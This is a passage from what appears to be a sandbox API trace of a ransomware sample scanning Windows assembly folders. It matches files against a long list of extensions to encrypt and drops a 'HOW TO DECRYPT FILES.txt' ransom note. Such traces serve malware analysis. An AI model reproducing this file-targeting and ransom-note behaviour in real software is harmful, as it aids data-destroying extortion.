(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.wab") returned 0 [0105.722] lstrlenA (lpString="*.wab") returned 5 [0105.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.dat") returned 0 [0105.722] lstrlenA (lpString="*.dat") returned 5 [0105.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.txt") returned 0 [0105.722] lstrlenA (lpString="*.txt") returned 5 [0105.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.jpeg") returned 0 [0105.722] lstrlenA (lpString="*.jpeg") returned 6 [0105.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.jpg") returned 0 [0105.722] lstrlenA (lpString="*.jpg") returned 5 [0105.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.png") returned 0 [0105.722] lstrlenA (lpString="*.png") returned 5 [0105.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.php") returned 0 [0105.722] lstrlenA (lpString="*.php") returned 5 [0105.722] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.cs") returned 0 [0105.723] lstrlenA (lpString="*.cs") returned 4 [0105.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.cpp") returned 0 [0105.723] lstrlenA (lpString="*.cpp") returned 5 [0105.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.rar") returned 0 [0105.723] lstrlenA (lpString="*.rar") returned 5 [0105.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.zip") returned 0 [0105.723] lstrlenA (lpString="*.zip") returned 5 [0105.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.html") returned 0 [0105.723] lstrlenA (lpString="*.html") returned 6 [0105.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.htm") returned 0 [0105.723] lstrlenA (lpString="*.htm") returned 5 [0105.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.xlsx") returned 0 [0105.723] lstrlenA (lpString="*.xlsx") returned 6 [0105.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.xls") returned 0 [0105.723] lstrlenA (lpString="*.xls") returned 5 [0105.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.mp4") returned 0 [0105.723] lstrlenA (lpString="*.mp4") returned 5 [0105.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.ppt") returned 0 [0105.724] lstrlenA (lpString="*.ppt") returned 5 [0105.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.pptx") returned 0 [0105.724] lstrlenA (lpString="*.pptx") returned 6 [0105.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.doc") returned 0 [0105.724] lstrlenA (lpString="*.doc") returned 5 [0105.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.dot") returned 0 [0105.724] lstrlenA (lpString="*.dot") returned 5 [0105.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.docx") returned 0 [0105.724] lstrlenA (lpString="*.docx") returned 6 [0105.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.7z") returned 0 [0105.724] lstrlenA (lpString="*.7z") returned 4 [0105.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.tar") returned 0 [0105.724] lstrlenA (lpString="*.tar") returned 5 [0105.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.bz2") returned 0 [0105.724] lstrlenA (lpString="*.bz2") returned 5 [0105.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.gz") returned 0 [0105.724] lstrlenA (lpString="*.gz") returned 4 [0105.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.mkv") returned 0 [0105.725] lstrlenA (lpString="*.mkv") returned 5 [0105.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.eml") returned 0 [0105.725] lstrlenA (lpString="*.eml") returned 5 [0105.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.msg") returned 0 [0105.725] lstrlenA (lpString="*.msg") returned 5 [0105.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.edb") returned 0 [0105.725] lstrlenA (lpString="*.edb") returned 5 [0105.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.accdb") returned 0 [0105.725] lstrlenA (lpString="*.accdb") returned 7 [0105.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.odb") returned 0 [0105.725] lstrlenA (lpString="*.odb") returned 5 [0105.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.java") returned 0 [0105.725] lstrlenA (lpString="*.java") returned 6 [0105.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.asm") returned 0 [0105.725] lstrlenA (lpString="*.asm") returned 5 [0105.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.pfx") returned 0 [0105.725] lstrlenA (lpString="*.pfx") returned 5 [0105.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.pem") returned 0 [0105.726] lstrlenA (lpString="*.pem") returned 5 [0105.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.p12") returned 0 [0105.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.gpg") returned 0 [0105.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.vsd") returned 0 [0105.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.odg") returned 0 [0105.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.raw") returned 0 [0105.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.nef") returned 0 [0105.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.svg") returned 0 [0105.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.psd") returned 0 [0105.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.vmx") returned 0 [0105.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.vmdk") returned 0 [0105.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.vdi") returned 0 [0105.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.lay6") returned 0 [0105.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.mpeg") returned 0 [0105.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.djvu") returned 0 [0105.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.tiff") returned 0 [0105.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.backup") returned 0 [0105.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.pdf") returned 0 [0105.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.cert") returned 0 [0105.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.docm") returned 0 [0105.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.xlsm") returned 0 [0105.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.dwg") returned 0 [0105.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.nd") returned 0 [0105.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.tlg") returned 0 [0105.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.lgb") returned 0 [0105.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.mov") returned 0 [0105.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.xdw") returned 0 [0105.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.ods") returned 0 [0105.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.wav") returned 0 [0105.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.mp3") returned 0 [0105.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.aiff") returned 0 [0105.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.flac") returned 0 [0105.729] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.m4a") returned 0 [0105.730] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\System.EnterpriseServices.Wrapper.dll", pszSpec="*.csv") returned 0 [0105.730] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf661fd4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf661fd4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf688135, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x44600, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.EnterpriseServices.Wrapper.dll", cAlternateFileName="SYSTEM~2.DLL")) returned 0 [0105.730] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0105.730] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6fa556, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf6fa556, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf6fa556, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="887ef2648686aad19feff405eddbffd2", cAlternateFileName="887EF2~1")) returned 0 [0105.730] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0105.730] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x583be6d8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x583be6d8, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x583be6d8, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.IdentityMode#", cAlternateFileName="SYSTEM~2.IDE")) returned 1 [0105.730] lstrcmpA (lpString1=".", lpString2="System.IdentityMode#") returned -1 [0105.730] lstrcmpA (lpString1="..", lpString2="System.IdentityMode#") returned -1 [0105.730] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0105.730] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.IdentityMode#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#" [0105.730] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x583be6d8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x583be6d8, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x583be6d8, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0105.731] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0105.732] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x583be6d8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x583be6d8, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x583be6d8, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.732] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0105.732] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0105.732] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x583be6d8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x583be6d8, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x583be6d8, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="5490e4be56d6b1a80586439ac8b09b77", cAlternateFileName="5490E4~1")) returned 1 [0105.732] lstrcmpA (lpString1=".", lpString2="5490e4be56d6b1a80586439ac8b09b77") returned -1 [0105.732] lstrcmpA (lpString1="..", lpString2="5490e4be56d6b1a80586439ac8b09b77") returned -1 [0105.732] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\*.*") returned="*.*" [0105.732] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\", lpString2="5490e4be56d6b1a80586439ac8b09b77" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77" [0105.732] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x583be6d8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x583be6d8, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x583be6d8, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0105.733] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0105.733] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x583be6d8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x583be6d8, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x583be6d8, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.733] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0105.733] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0105.733] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58372417, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x58372417, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x58372417, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x34000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.IdentityModel.Selectors.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0105.733] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0105.733] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.IdentityModel.Selectors.ni.dll") returned -1 [0105.733] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.IdentityModel.Selectors.ni.dll") returned -1 [0105.733] lstrcmpiA (lpString1="", lpString2="System.IdentityModel.Selectors.ni.dll") returned -1 [0105.733] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\*.*") returned="*.*" [0105.733] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\" [0105.733] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\") returned="" [0105.733] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\HOW TO DECRYPT FILES.txt" [0105.734] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.identitymode#\\5490e4be56d6b1a80586439ac8b09b77\\how to decrypt files.txt")) returned 0xffffffff [0105.734] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.identitymode#\\5490e4be56d6b1a80586439ac8b09b77\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0105.862] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0105.865] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 